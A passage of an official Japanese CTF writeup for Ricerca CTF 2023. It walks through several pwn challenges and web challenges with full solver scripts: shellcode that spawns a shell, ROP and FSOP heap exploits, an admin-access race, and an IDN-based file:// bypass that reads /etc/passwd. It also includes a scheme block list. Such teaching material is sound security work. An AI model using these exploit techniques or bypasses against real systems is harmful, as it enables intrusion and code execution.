先程見たとおり、addが呼ばれる際にはrdiがレジスタのポインタを指しています。よって、rsiはrdiからmovすることで調整することにします。rdxレジスタには、dhレジスタに値 0xff を読み込むことで0xff00という値とします。

次に、rdiやraxを0にしなければいけません。レジスタを0にセットするという処理は、xor命令を用いて自身とxorさせることで実現されることが多いです。今回もこの手法を用いることとします。

これにより、以下のような 11 byte で stager を実現することができます。

48 89 fa  mov    rdx,rdi
48 89 fe  mov    rsi,rdi
31 c0  xor    eax,eax
31 ff  xor    edi,edi
0f 05     syscall

これで、長さの制約なく shellcode を読み込むことができるようになりました。後は、単純な shellcode を読み込めばよいだけです。

ソルバ

以下は方針1, 2の両方を実装したソルバになります。コード中のDO_STAGERフラグを変更することで、2つの方針が切り替えられます。なお、このソルバ ではptrlibを利用しています。

import os
from ptrlib import *

BIN_NAME = "../distfiles/chall"

chall = ELF(BIN_NAME)

HOST = os.getenv("HOST", "localhost")
PORT = int(os.getenv("PORT", 9002))

stream = remote(HOST, PORT)

LOAD, MOV, INC, DBL, ADDI, ADD  = 1, 2, 3, 4, 5, 6
AC, R1, R2, R3 = 'r0', 'r1', 'r2', 'r3'

def imm(val):
    return f'#{val}'

def op(opcode, operand):
    stream.sendlineafter(b'opcode: ', opcode)
    stream.sendlineafter(b'operand: ', operand)

def load_to_upper(reg, val):
    op(LOAD, imm(val))
    op(MOV,  reg)
    for _ in range(32): op(DBL, reg)

"""
memory layout:
| AC | R3 | R2 | R1 | trampoline
"""

DO_STAGER = False

if not DO_STAGER:
    payload = assemble(
        """
        push   59;
        pop    rax;
        syscall;
        """,
        bits=64
    ).ljust(8, b'\x00') + \
    b'/bin/sh\x00' + \
    b"\xeb\xee"
else:
    payload = assemble(
        """
        mov    dh, 0xff
        mov    rsi,rdi
        xor    eax,eax
        xor    edi,edi
        syscall
        """,
        bits=64
    ).ljust(16, b'\x90') + \
    b"\xeb\xee"

load_to_upper(R1, u32(payload[16:]))
load_to_upper(R2, u32(payload[12:16]))
load_to_upper(R3, u32(payload[8:12]))
load_to_upper(AC, u32(payload[4:8]))
op(LOAD, imm(u32(payload[0:4])))

if not DO_STAGER:
    op(ADD, R2)
else:
    op(ADD, AC)
    stream.sendline(
        b"\x90" * 16 + nasm(
            """
            mov rax, 59
            lea rdi, [rel s_binsh]
            xor rsi, rsi
            xor rdx, rdx
            syscall
            s_binsh: db "/bin/sh", 0
            """,
            bits=64
        )
    )

stream.sendline("cat /flag-*")
print(stream.recvuntil("}").decode()) 

 

safe thread

問題・Writeup著者:ptr-yudai

問題概要

この問題の本質部分は以下のコードだけです。

void *thread(void *_arg) {
  ssize_t len;
  char buf[0x10] = {};
  write(STDOUT_FILENO, "size: ", 6);
  read_n(buf, 0x10);
  len = atol(buf);
  write(STDOUT_FILENO, "data: ", 6);
  read_n(buf, len);
  exit(0);
}

int main() {
  alarm(180);
  pthread_create(&th, NULL, thread, NULL);
  pthread_join(th, NULL);
  return 0;
}

pthreadで動作するスレッド上で自明なスタックバッファオーバーフローがありますが、exitしているためリターンアドレスを書き換えても意味がありません。

解法

この問題でのスタックバッファオーバーフローを利用するには、スレッド特有の知識が必要になります。

TLSとスタック

pthreadで作成されるスレッドはcloneシステムコールにより作成され、メモリ空間を共有します。スタックやヒープは通常スレッドごとに機能的に独立しており、一方でグローバル変数はすべてのスレッドで共有されます。 また、Linux(やWindows)では TLS (Thread Local Storage) というスレッド固有の領域もあります。Linuxにおいて、TLSはfsレジスタを使って参照できます。例えば、次のコードはTLSの0x18バイト目から8バイトをraxレジスタに代入します。

mov rax, qword ptr [fs:0x18]

このコードは、異なるスレッドで動かすとそれぞれのスレッドのTLSを参照します。

では、gdbでTLSを見てみましょう。現在のコンテキストでのfsレジスタの値は$fs_baseに入っています。

pwndbg> p/x $fs_base
$2 = 0x7ffff7bff640
pwndbg> x/16xg 0x7ffff7bff640
0x7ffff7bff640: 0x00007ffff7bff640      0x00000000004052b0
0x7ffff7bff650: 0x00007ffff7bff640      0x0000000000000001
0x7ffff7bff660: 0x0000000000000000      0xeb983df70c185e00
0x7ffff7bff670: 0x7f6d85e655c2ed39      0x0000000000000000
0x7ffff7bff680: 0x0000000000000000      0x0000000000000000
0x7ffff7bff690: 0x0000000000000000      0x0000000000000000
0x7ffff7bff6a0: 0x0000000000000000      0x0000000000000000
0x7ffff7bff6b0: 0x0000000000000000      0x0000000000000000

例えばfs:0x28にはstack canaryの比較元(master canary)が入っています。 また、このスレッドのスタックポインタも確認してみましょう。

pwndbg> p/x $fs_base
$5 = 0x7ffff7bff640
pwndbg> p/x $rsp
$4 = 0x7ffff7bfee10
pwndbg> vmmap 0x7ffff7bfee10
             Start                End Perm     Size Offset File
    0x7ffff7400000     0x7ffff7c00000 rw-p   800000      0 [anon_7ffff7400] +0x7fee10

TLSもスタックも、連続した領域に確保されていることが分かります。また、TLSの方がスタックよりも高いアドレスにマップされています。 これは、TLS領域とpthreadが確保するスタックが連続してmmapされるためです。したがって、このスレッド中でスタックバッファオーバーフローが発生すると、TLS領域を破壊してしまう可能性があります。 このようにスレッドで発生したスタックバッファオーバーフローが別のメモリ領域を破壊するのを防ぐため、通常スレッドごとにガードページと呼ばれる書き込み不可のページが確保されますが、LinuxではTLSとスタックの間には確保されません。

__run_exit_handlersとPTR_MANGLE

スレッド上のスタックバッファオーバーフローにより、TLSを書き換えられることが分かりました。今回のコードではexit関数が呼ばれているので、TLSとexit関数の関わりについて見ていきましょう。

exit関数はプログラムを終了する関数ですが、単にexitシステムコールを呼び出しているわけではありません。exit関数は、まず__run_exit_handlersという関数を呼び出し、atexitで登録された終了ハンドラや、デストラクタなどを呼び出します。

例えば、以下のルーチンで_dl_finiの関数ポインタが呼ばれます。

case ef_cxa:
  /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
 we must mark this function as ef_free.  */
  f->flavor = ef_free;
  cxafct = f->func.cxa.fn;
  arg = f->func.cxa.arg;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (cxafct);
#endif
  /* Unlock the list while we call a foreign function.  */
  __libc_lock_unlock (__exit_funcs_lock);
  cxafct (arg, status);
  __libc_lock_lock (__exit_funcs_lock);
  break;

ここで注目すべき点が、PTR_DEMANGLEの利用です。exit関数から呼ばれるデストラクタはPTR_MANGLEというマクロにより暗号化されています。

#  define PTR_MANGLE(reg)	xor %fs:POINTER_GUARD, reg;		      \\
				rol $2*LP_SIZE+1, reg
#  define PTR_DEMANGLE(reg)	ror $2*LP_SIZE+1, reg;			      \\
				xor %fs:POINTER_GUARD, reg

PTR_MANGLEでは、TLSに入った暗号鍵とポインタをxorし、0x11バイト左ローテートしています。今、TLSの内容は自由に書き換えられるので、暗号鍵も自由に設定できます。 しかし、この例では暗号化されたポインタは__exit_funcsというlibc内部の変数から取られており、ここは書き換えられず、かつlibcのアドレスはわからないため暗号鍵を操作できたところでクラッシュが起きるだけです。

少し前に呼び出される__call_tls_dtors関数を見てみましょう。この関数は名前の通り、TLS領域が破棄される際に呼び出されるべきデストラクタを呼ぶ関数です。通常は何も呼ばれません。


/* Call the destructors.  This is called either when a thread returns from the
   initial function or when the process exits via the exit function.  */
void
__call_tls_dtors (void)
{
  while (tls_dtor_list)
    {
      struct dtor_list *cur = tls_dtor_list;
      dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
      PTR_DEMANGLE (func);
#endif

      tls_dtor_list = tls_dtor_list->next;
      func (cur->obj);

      /* Ensure that the MAP dereference happens before
	 l_tls_dtor_count decrement.  That way, we protect this access from a
	 potential DSO unload in _dl_close_worker, which happens when
	 l_tls_dtor_count is 0.  See CONCURRENCY NOTES for more detail.  */
      atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
      free (cur);
    }
}
libc_hidden_def (__call_tls_dtors)

ここでも関数ポインタがPTR_MANGLEにより暗号化されていることが分かります。また、TLSのデストラクタなので当然ですが、tls_dtor_listは次のようにTLS内に定義されています。

static __thread struct dtor_list *tls_dtor_list;

したがって、スタックオーバーフローでtls_dtor_listと暗号鍵を適切に設定すれば、任意のアドレスを呼び出すことができます。

tls_dtor_listは適切なポインタである必要があります。dtor_list構造体は以下のようになっています。

typedef void (*dtor_func) (void *);

struct dtor_list
{
  dtor_func func;
  void *obj;
  struct link_map *map;
  struct dtor_list *next;
};

例えばtls_dtor_listを.bss周辺の内容が固定の領域に向けるとtls_dtor_list->funcも定数値になるため、暗号鍵を調整するだけで任意アドレスが呼び出せます。なお、今回のlibcではtls_dtor_listのアドレスがrbpに入ることにも注意しましょう。

アドレスリーク

任意アドレスの呼び出しはできましたが、libcのアドレスを持っていません。まずはプログラム本体のどこかにジャンプして、アドレスをリークする必要があります。 理想的にはwrite(1, &libcの何かのアドレス, 適当なバイト数)が呼び出したいので、write関数を使用している箇所の直前にジャンプしたいです。そのためには、RDI, RSI, RDXが適当な値にセットされている必要があります。 __call_tls_dtorsの関数呼び出しは次のようになっています。

rbpはtls_dtor_listなので、TLSを破壊する際に自由に操作できます。 rdiはrbp+8, rdxはrbp+0x18から取られており、rsiは常に__exit_funcsを指しています。 したがって、rdiを0,1,2のいずれかに、rdxをサイズとして適当な値に設定できればアドレスリークができます。

.bssセクションを見てみましょう。

pwndbg> x/8xg 0x404008
0x404008:       0x0000000000000000      0x0000000000000000
0x404018 <th>:  0x00007ffff7bff640      0x0000000000000000
0x404028:       0x0000000000000000      0x0000000000000000
0x404038:       0x0000000000000000      0x0000000000000000

グローバル変数thのアドレスがあります。これをサイズとして利用するため、アドレスをずらして見てみます。

pwndbg> x/8xg 0x404008 - 3
0x404005:       0x0000000000000000      0x0000000000000000
0x404015:       0xfff7bff640000000      0x000000000000007f
0x404025:       0x0000000000000000      0x0000000000000000
0x404035:       0x0000000000000000      0x0000000000000000

したがって、tls_dtor_listを0x404005にセットすれば、

write(0, __exit_funcs, 0x7f);

が実行できます。

ROP

スレッド関数中のwriteでアドレスリークをしたら、そのままreadで再度BOFできます。したがって、またTLSを上書きして任意アドレスにジャンプできます。今回のバイナリではone gadgetが動かず、かつ引数が操作できないのでsystem関数も呼び出せません。 そこで、ROPをします。libcのアドレスがわかっているので、libc中の豊富なROP gadgetが使えます。add rsp, XX gadgetを使ってstack pivotすると、ROPできます。

ソルバ

このソルバ ではptrlibを利用しています。
from ptrlib import *

libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
sock = Process("../distfiles/chall")

payload  = b'A'*0x7d8
payload += p64(0x404005) # tls_dtor_list = rbp
payload += b'A'*0x60
payload += p64(0x404000) # thread futex
payload += b'\x00'*0x18
payload += p64(0x4012c3) # xor key
payload += b'A'*0x100

sock.sendlineafter("size: ", str(len(payload)))
sock.sendlineafter("data: ", payload)
libc.base = u64(sock.recvonce(8)) - 0x21af00

payload  = p64(next(libc.gadget("ret"))) * 0x41
payload += p64(next(libc.gadget("pop rdi; ret;")))
payload += p64(next(libc.find("/bin/sh")))
payload += p64(libc.symbol("system"))
payload += b'B'*(0x870 - len(payload))
payload += p64(0x404800) # tls_dtor_list = rbp
payload += b'C'*0x60
payload += p64(0x404000) # thread futex
payload += b'\x00'*0x18
payload += p64(next(libc.gadget("add rsp, 0xa8; ret;"))) # xor key
sock.sendline(payload)

sock.sh()

Oath to Order

問題著者:keymoon, ptr-yudai / Writeup著者:ptr-yudai

問題概要

Ubuntu 22.04で動作する64-bitのプログラムが攻撃対象です。

$ checksec chall
[*] '/home/ptr/ricsec/2023/ricerca-ctf-2023-public/pwn/oath_to_order/distfiles/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

この問題はいわゆるnote系の問題で、ヒープに関する知識が問われます。プログラムを起動してみると、次のようにデータを確保、出力できる機能があります。

$ ./chall 
1. Create
2. Show
> 1
index: 0
size: 123
alignment: 128
note: Hello
1. Create
2. Show
> 2
index: 0
Hello

一般的なnote系の問題と比べると、以下の特徴があります。

  • freeに該当する機能が提供されていない。
  • データ確保時に、サイズの他にalignmentという項目を入力する。

解法

aligned_alloc

この問題の一番の特徴は、alignmentにあります。配布されたソースコードを読むと、noteは次のように確保されています。

void create(void) {
  unsigned idx, size, alignment;

  print("index: ");
  if ((idx = getint()) >= NOTE_LEN) {
    print("invalid index\n");
    return;
  }

  print("size: ");
  if ((size = getint()) >= MAX_SIZE) {
    print("invalid size\n");
    return;
  }

  print("alignment: ");
  if ((alignment = getint()) >= MAX_SIZE) {
    print("invalid alignment\n");
    return;
  }

  notes[idx] = aligned_alloc(alignment, size);

  print("note: ");
  getstr(notes[idx], size);
}

見慣れない aligned_alloc という関数が登場しています。この関数は malloc と同様に、指定サイズのデータ領域をヒープ上に確保します。第一引数に与える alignment は、この関数が返却するアドレスが、その値でアラインされている(倍数になっている)ことを保証します。ただし、 64-bitの場合 alignment は0x10 * 2^nの形である必要があります。

ソースコードを読んでみましょう。

static void *
_mid_memalign (size_t alignment, size_t bytes, void *address)
{
  mstate ar_ptr;
  void *p;

  /* If we need less alignment than we give anyway, just relay to malloc.  */
  if (alignment <= MALLOC_ALIGNMENT)
    return __libc_malloc (bytes);

  /* Otherwise, ensure that it is at least a minimum chunk size */
  if (alignment < MINSIZE)
    alignment = MINSIZE;

  /* If the alignment is greater than SIZE_MAX / 2 + 1 it cannot be a
     power of 2 and will cause overflow in the check below.  */
  if (alignment > SIZE_MAX / 2 + 1)
    {
      __set_errno (EINVAL);
      return 0;
    }

  /* Make sure alignment is power of 2.  */
  if (!powerof2 (alignment))
    {
      size_t a = MALLOC_ALIGNMENT * 2;
      while (a < alignment)
        a <<= 1;
      alignment = a;
    }

  if (SINGLE_THREAD_P)
    {
      p = _int_memalign (&main_arena, alignment, bytes);
      assert (!p || chunk_is_mmapped (mem2chunk (p)) ||
	      &main_arena == arena_for_chunk (mem2chunk (p)));
      return tag_new_usable (p);
    }

  arena_get (ar_ptr, bytes + alignment + MINSIZE);

  p = _int_memalign (ar_ptr, alignment, bytes);
  if (!p && ar_ptr != NULL)
    {
      LIBC_PROBE (memory_memalign_retry, 2, bytes, alignment);
      ar_ptr = arena_get_retry (ar_ptr, bytes);
      p = _int_memalign (ar_ptr, alignment, bytes);
    }

  if (ar_ptr != NULL)
    __libc_lock_unlock (ar_ptr->mutex);
  assert (!p || chunk_is_mmapped (mem2chunk (p)) ||
          ar_ptr == arena_for_chunk (mem2chunk (p)));

  return tag_new_usable (p);
}

まず注目すべき点として、 alignment が MALLOC_ALIGNMENT 以下である場合、つまり0x10バイトでアラインする場合は通常の malloc と変わらないため、 __libc_malloc が呼ばれます。それ以外の場合、どのパスを通っても _int_memalign でチャンクが確保されます。この関数は _int から始まる内部関数ですので、こちらが呼ばれた場合は _int_malloc 側の処理が走ることになります。つまり、 alignment の値によってtcacheが使われるかが変わります。

次に、 _int_memalign のコードを少し読んでみましょう。

      /* Otherwise, give back leader, use the rest */
      set_head (newp, newsize | PREV_INUSE |
                (av != &main_arena ? NON_MAIN_ARENA : 0));
      set_inuse_bit_at_offset (newp, newsize);
      set_head_size (p, leadsize | (av != &main_arena ? NON_MAIN_ARENA : 0));
      _int_free (av, p, 1);
      p = newp;
...
  /* Also give back spare room at the end */
  if (!chunk_is_mmapped (p))
    {
      size = chunksize (p);
      if ((unsigned long) (size) > (unsigned long) (nb + MINSIZE))
        {
          remainder_size = size - nb;
          remainder = chunk_at_offset (p, nb);
          set_head (remainder, remainder_size | PREV_INUSE |
                    (av != &main_arena ? NON_MAIN_ARENA : 0));
          set_head_size (p, nb);
          _int_free (av, remainder, 1);
        }
    }

_int_free がところどころに現れています。メモリをアラインして確保する場合、チャンクの前後に使われない領域が発生する可能性があります。 _int_memalign ではこの領域を解放することで、他の malloc で使えるように切り出しています。

したがって、今回の問題にfree機能はありませんでしたが、 aligned_alloc の内部で実質的にfreeが発生することになります。ただし、 _int_free なのでtcacheが使われないという点には注意しましょう。

脆弱性

脆弱性は非常に単純で、入力を受け取る getstr 関数にあります。

void getstr(char *buf, unsigned size) {
  while (--size) {
    if (read(STDIN_FILENO, buf, sizeof(char)) != sizeof(char))
      exit(1);
    else if (*buf == '\n')
      break;
    buf++;
  }

  *buf = '\0';
}

size が0のとき、改行コードを送るまでデータを送り続けられることがわかります。したがって、Heap Buffer Overflowの脆弱性があります。

方針

Heap Buffer Overflowを今回の制約で任意アドレス書き込みにつなげるためには、少し見通しをよくしてからexploitを書く必要があります。具体的には、以下の2つのパートについて方針を立てましょう。

  1. libcのアドレスリーク
  2. tcache poisoning

ゴールから逆算するために、まず2について考えます。任意アドレス書き込みを実現するためにはtcache poisoningをするのが実用的です。前述したように aligned_alloc ではtcacheを使うパスもあり、都合が良さそうです。しかし、freeはすべて _int_free で発生するため、tcacheにチャンクをリンクさせるのは困難です(注釈: __libc_malloc の中にfreeを呼び出すパスはあるので、可能ではありますが煩雑になります。)。

ここで、 aligned_alloc が通常 _int_memalign を呼ぶ、すなわちtcacheを使わないことに着目します。tcacheの管理領域は初めてtcacheが使われたとき(初めて __libc_malloc が呼ばれたとき)に作成されます。したがって、今回の問題ではtcacheの管理領域よりも低いアドレスに _int_malloc で作成されたチャンクを差し込むことが可能です。Heap Buffer Overflowと組み合わせるとtcacheの管理領域を自由に書き換えられるため、任意アドレス書き込みが実現できそうです。

次に1について考えます。libc-2.35ではSafe Linkingが有効ですが、tcacheの管理領域にあるポインタは暗号化されないので、ヒープのアドレスを知る必要はありません。最低限libcのアドレスが得られれば十分です。tcacheは2で初めて使うので、libcのアドレスリークはfastbin, unsortedbin, smallbin, largebinを使って実現する必要があります。

今回は、unsortedbinサイズの巨大なチャンクをfreeする際、そのサイズ情報を事前にHeap Buffer Overflowで書き換えておくことで、本来より大きなサイズのチャンクがfreeされたと判断させます。これにより、別のチャンクを含む領域がfreeされます。図で表すと次の赤枠の領域がfreeされたと判断されます。

 

unsortedbinにリンクされたチャンクは、fdとbkの2つのポインタを持ちます。リストの最後尾にあるチャンクはtop、すなわち main_arena の内部へのポインタを持っています。このアドレスと、「生きている」チャンク(図のchunk 3)が重なれば、show機能によってlibcのアドレスをリークできます。

実際にはメモリアロケータのチェックをくぐり抜けて偽サイズのチャンクをfreeさせるために、ヒープレイアウトを工夫して用意しなくてはなりません。gdbでメモリの様子を確認しながら、慎重にexploitを書きましょう。

ソルバ

以下は上記方針を実装したソルバです。libc-2.35では __free_hook のような便利な関数ポインタがないので、 stdout のFILE構造体を破壊してFSOP(File Structure Oriented Programming)で /bin/sh を呼び出しています。なお、このソルバ ではptrlibを利用しています。

from ptrlib import *
import os

HOST = os.getenv('HOST', 'localhost')
PORT = int(os.getenv('PORT', 9003))

def create(ind, size, alignment, content, newline=True):
  sock.sendlineafter('> ', '1')
  sock.sendlineafter(': ', ind)
  sock.sendlineafter(': ', size)
  sock.sendlineafter(': ', alignment)
  if newline:
      sock.sendlineafter(': ', content)
  else:
      sock.sendafter(': ', content)

def show(ind):
  sock.sendlineafter('> ', '2')
  sock.sendlineafter(': ', ind)
  return sock.recvuntil(b'\n1.', drop=True)

libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
#sock = Process("./chall")
sock = Socket(HOST, PORT)

create(0, 0x18, 0x80, b"A"*0x10)
create(0, 0x18, 0x100, b"B"*0x10)
create(0, 0x18, 0x100, b"C"*0x10)
create(0, 0x18, 0x100, b"D"*0x10)
create(0, 0x18, 0x100, b"E"*0x10)
create(0, 0x128, 0x120, b"F"*0x100 + p64(0x4f0) + p64(0x51))
create(0, 0x128, 0x120, b"F"*0x120)
create(0, 0xb8-0x20-0x20, 0x20, p64(0) + p64(0xdeadbeef) + p64(0)*2)
payload  = b"0"*0x18
payload += p64(0x61)
payload += b"1"*0x58
payload += p64(0x21)
payload += b"C"*0x18
payload += p64(0x4f1)
create(0, 0, 0x80, payload)
create(0, 0xc8-0x20-0x20, 0x20, b"X"*0x10)
create(1, 0x48, 0x20, b"a"*0x40)
create(2, 0x48, 0x20, b"a"*0x40)
create(0, 0x18, 0x20, b"b"*0x0)
create(0, 0x18, 0x20, b"b"*0x0)
create(0, 0x18, 0x20, b"b"*0x0)
create(0, 0x18, 0x20, b"b"*0x0)

libc.base = u64(show(1)) - libc.main_arena() - 0x60
create(0, 0x18, 299, b"A"*0x10)
heap_base = u64(show(2)) - 0x310
logger.info("heap = " + hex(heap_base))

create(0, 0x18, 0, "neko")
payload  = b"2" * 0x100
payload += p16(0x0101) * 0x40
payload += p64(libc.symbol('_IO_2_1_stdout_')) * 0x40
create(0, 0, 0x20, payload)
addr_IO_wfile_jumps = libc.base + 0x2160c0
fake_file = flat([
    0x3b01010101010101, u64(b"/bin/sh\0"), # flags / rptr
    0, 0, # rend / rbase
    0, 1, # wbase / wptr
    0, 0, # wend / bbase
    0, 0, # bend / savebase
    0, 0, # backupbase / saveend
    0, 0, # marker / chain
], map=p64)
fake_file += p64(libc.symbol("system")) # __doallocate
fake_file += b'\x00' * (0x88 - len(fake_file))
fake_file += p64(libc.base + 0x21ba70) # lock
fake_file += b'\x00' * (0xa0 - len(fake_file))
fake_file += p64(libc.symbol("_IO_2_1_stdout_")) # wide_data
fake_file += b'\x00' * (0xd8 - len(fake_file))
fake_file += p64(libc.base + 0x2160c0) # vtable (_IO_wfile_jumps)
fake_file += p64(libc.symbol("_IO_2_1_stdout_") + 8) # _wide_data->_wide_vtable
assert len(fake_file) < 0x100
create(0, 0x100, 0, fake_file)

sock.sendline("\ncat /flag-*")
print(sock.recvuntil(b"}"))

Ricerca CTF 2023 作問者Writeup [Web編]

この記事は、2023年4月22日に弊社が開催したRicerca CTF 2023の公式Writeupです。今回はWebカテゴリの問題のうち、warmupを除く問題の解法を紹介します。

配布ファイルやスクリプトは以下のGitHubリポジトリを参照してください。

https://github.com/RICSecLab/ricerca-ctf-2023-public

  また、他のジャンルのWriteupは以下の投稿から読むことができます。

tinyDB

問題・Writeup著者:xryuseix

問題概要

ユーザ管理DBがあります。このデータベースの機能は以下の通りです。

  • ユーザを検索
    • もしユーザがヒットすればそのユーザのロールを表示
    • ヒットしなければゲストとして新規作成
  • フラグを取得
    • Adminのユーザ名とパスワードを知っている人のみ

解法

まずデータベースのコードから見ていきます。AdminのパスワードadminPWはcrypto.randomBytes(16).toString("hex")で実装されていますが、この値を推測することはできません。また、データベースはdb.type.tsでMap<AuthT, gradeT>として実装されています。さらに、データベースは初期状態でadminが登録されています。

次にindex.tsを見ていきます。方針としては以下の二つが考えられます。

  • 誰かのユーザのロールをadminに昇格させる
  • adminユーザのパスワードを取得する

いずれにせよget_flagエンドポイントに対して攻撃を行うことは難しいため、一旦後回しにします。fastify関連のコードやHTML表示関連のコードも関係ないので同じく無視します。重要なコードに目星をつけるとこのあたりになります。

server.post<{ Body: UserBodyT }>("/set_user", async (request, response) => {
  let auth = {
    username: username ?? "admin",
    password: password ?? randStr(),
  };
  if (!userDB.has(auth)) {
    userDB.set(auth, "guest");
  }
  if (userDB.size > 10) {
    // Too many users, clear the database
    userDB.clear();
    auth.username = "admin";
    auth.password = getAdminPW();
    userDB.set(auth, "admin");
    auth.password = "*".repeat(auth.password.length);
  }

  const rollback = () => {
    const grade = userDB.get(auth);
    updateAdminPW();
    const newAdminAuth = {
      username: "admin",
      password: getAdminPW(),
    };
    userDB.delete(auth);
    userDB.set(newAdminAuth, grade ?? "guest");
  };
  setTimeout(() => {
    // Admin password will be changed due to hacking detected :(
    if (auth.username === "admin" && auth.password !== getAdminPW()) {
      rollback();
    }
  }, 2000 + 3000 * Math.random()); // no timing attack!
});

ここで、rollback関数に注意がいってしまいがちですが、重要なのはその前のif (userDB.size > 10)のブロック内の処理です。ユーザ数が多くなった時にデータベースを初期化していますが、ここでauthに注目します。authの流れは以下の通りです。

  1. guestのauthを宣言
  2. guestのauthをデータベースに保存
  3. authの中身をusername=admin, password=getAdminPW()に変更
  4. adminのauthをデータベースに保存
  5. adminのauthのパスワードをmaskし、出力

ここで、JavaScriptは変数にオブジェクトを代入すると、値がコピーされるのではなく、参照がコピーされます。 例えば、以下のコードではa.valを書き換えたのにbの値が書き換わっています(コードの引用元)。つまり、JavaScripはオブジェクトを別の変数へ代入する際に、参照渡しに近い挙動となります。

var a = { val: 10 }
var b = a
a.val = 100
console.log(b) // { val: 100 }

Map.prototype.setも同じく、元のオブジェクトの参照がコピーされるため、以降authを書き換えるたびにデータベースの中身が常に書き換わっています。

そのため、set_userへのアクセス10回に1回はadminのパスワードが"********************************"です。

ただし、adminのパスワードが書き換わるとロールバック処理が走ります。パスワードが変わったら数秒以内にget_flagエンドポイントにアクセスすればフラグが得られます。

Pythonで書かれたフラグを取得するためのコードを以下に示します。セッションを取得し、10回目のアクセスで{"username": "admin", "password": "********************************"}を送信しています。

import re
import requests
import json
import time

HOST = "tinydb.2023.ricercactf.com"
PORT = "8888"

domain = f"{HOST}:{PORT}"

res = requests.post(
    f"http://{domain}/set_user",
    json={"username": "abc"},
)
session = re.findall("sessionId=(.*?);", res.headers["Set-Cookie"])[0]

for i in range(9):
    res = requests.post(
        f"http://{domain}/set_user",
        json={"username": "abc"},
        headers={"Cookie": f"sessionId={session}"},
    )
    time.sleep(0.2)

    user = json.loads(res.text)
    if (
        user["authId"] == "admin"
        and user["authPW"] == "********************************"
    ):
        flag = requests.post(
            f"http://{domain}/get_flag",
            json={"username": "admin", "password": "********************************"},
            headers={"Cookie": f"sessionId={session}"},
        ).text
        print(flag)

RicSec{j4v45cr1p7_15_7000000000000_d1f1cul7}

 

funnylfi

問題・Writeup著者:satoki

所感

テーマが国際化ドメイン名 (IDN) の問題なのでWebに分類しましたが、Miscのパズル感も強いです。 国内のWeb・Miscのトップ層を3時間足止めできればと思い作りました。 SECCONのeasylfiをリスペクトしています。

解法

クエリパラメータ ?url= で指定したページを表示するようで、IDNにも対応しています。 配布された app.py の主要部分は以下のとおりです。

# Multibyte Characters Sanitizer
def mbc_sanitizer(url :str) -> str:
    bad_chars = "!\"#$%&'()*+,-;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c"
    for c in url:
        try:
            if c.encode("idna").decode() in bad_chars:
                url = url.replace(c, "")
        except:
            continue
    return url

# Scheme Detector
def scheme_detector(url :str) -> bool:
    bad_schemes = ["dict", "file", "ftp", "gopher", "imap", "ldap", "mqtt",
                   "pop3", "rtmp", "rtsp", "scp", "smbs", "smtp", "telnet", "ws"]
    url = url.lower()
    for s in bad_schemes:
        if s in url:
            return True
    return False

# WAF
@app.after_request
def waf(response: Response):
    if b"RicSec" in b"".join(response.response):
        return Response("Hi, Hacker !!!!")
    return response

@app.route("/")
def funnylfi():
    url = request.args.get("url")
    if not url:
        return "Welcome to Super Secure Website Viewer.<br>Internationalized domain names are supported.<br>ex. <code>?url=ⓔxample.com</code>"
    if scheme_detector(url):
        return "Hi, Scheme man !!!!"
    try:
        proc = subprocess.run(
            f"curl {mbc_sanitizer(url[:0x3f]).encode('idna').decode()}",
            capture_output=True,
            shell=True,
            text=True,
            timeout=1,
        )
    except subprocess.TimeoutExpired:
        return "[error]: timeout"
    if proc.returncode != 0:
        return "[error]: curl"
    return proc.stdout

内部では、 encode("idna").decode() したURL (0x3fの制限あり) を subprocess.run で curl にそのまま渡しています。 配布ファイル flag があることや、問題名からもゴールはLFIだと考えられます。 また、配布ファイル Dockerfile から /var/www/flag にフラグが書かれていることがわかります。 Scheme Detector、Multibyte Characters Sanitizer、WAFの三種類のチェックがあるのでこれらをバイパスしてフラグを読みだす問題です。

Scheme Detectorの突破

ローカルのファイルを curl にて読み取る際、スキーム file:// が利用できます。 ただし、入力されたURLのスキームを検証しているScheme Detectorを突破しなければなりません。 ここでScheme Detectorは以下のとおりです。

# Scheme Detector
def scheme_detector(url :str) -> bool:
    bad_schemes = ["dict", "file", "ftp", "gopher", "imap", "ldap", "mqtt",
                   "pop3", "rtmp", "rtsp", "scp", "smbs", "smtp", "telnet", "ws"]
    url = url.lower()
    for s in bad_schemes:
        if s in url:
            return True
    return False

url.lower() により大文字 (ex. File:// ) による突破は難しそうです。 また、 curl の対応スキーム全てをチェックしており、比較の不備もなさそうに見えます。 

ここで、処理の流れとして、Scheme Detectorの後の curl に渡されるタイミングで、 encode("idna").decode() という処理が行われることに気付きます。 つまり、Scheme Detectorを通り抜け、 encode("idna").decode() によって file:// に変化する文字を使用すれば良いことになります。 サイト内の例にある ⓔxample.com からも分かるように、 ⓔ などは e に変換されます。 したがって、この仕組みを使うことで、以下のようにScheme Detectorを突破することが可能です。

$ curl 'http://localhost:31415?url=file:///var/www/flag'
Hi, Scheme man !!!!
$ curl 'http://localhost:31415?url=filⓔ:///var/www/flag'
Hi, Hacker !!!!
$ curl 'http://localhost:31415?url=filⓔ:///etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
~ 略 ~

無事に内部のファイルは読み取れましたが、 /var/www/flag は相変わらずWAFにブロックされています。

WAFの調査

WAFは以下のような単純な構成になっています。

# WAF
@app.after_request
def waf(response: Response):
    if b"RicSec" in b"".join(response.response):
        return Response("Hi, Hacker !!!!")
    return response

curl で読み取った内容に文字列 RicSec が含まれている場合に、レスポンスがブロックされます。 実装に不自然な箇所はないので、文字列を変更するといった手法でWAFを突破する必要がありそうです。

Multibyte Characters Sanitizerの突破

Scheme Detectorを突破できましたが、さらにMultibyte Characters Sanitizerの突破を試みてみましょう。 Multibyte Characters Sanitizerは以下のとおりです。

# Multibyte Characters Sanitizer
def mbc_sanitizer(url :str) -> str:
    bad_chars = "!\"#$%&'()*+,-;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c"
    for c in url:
        try:
            if c.encode("idna").decode() in bad_chars:
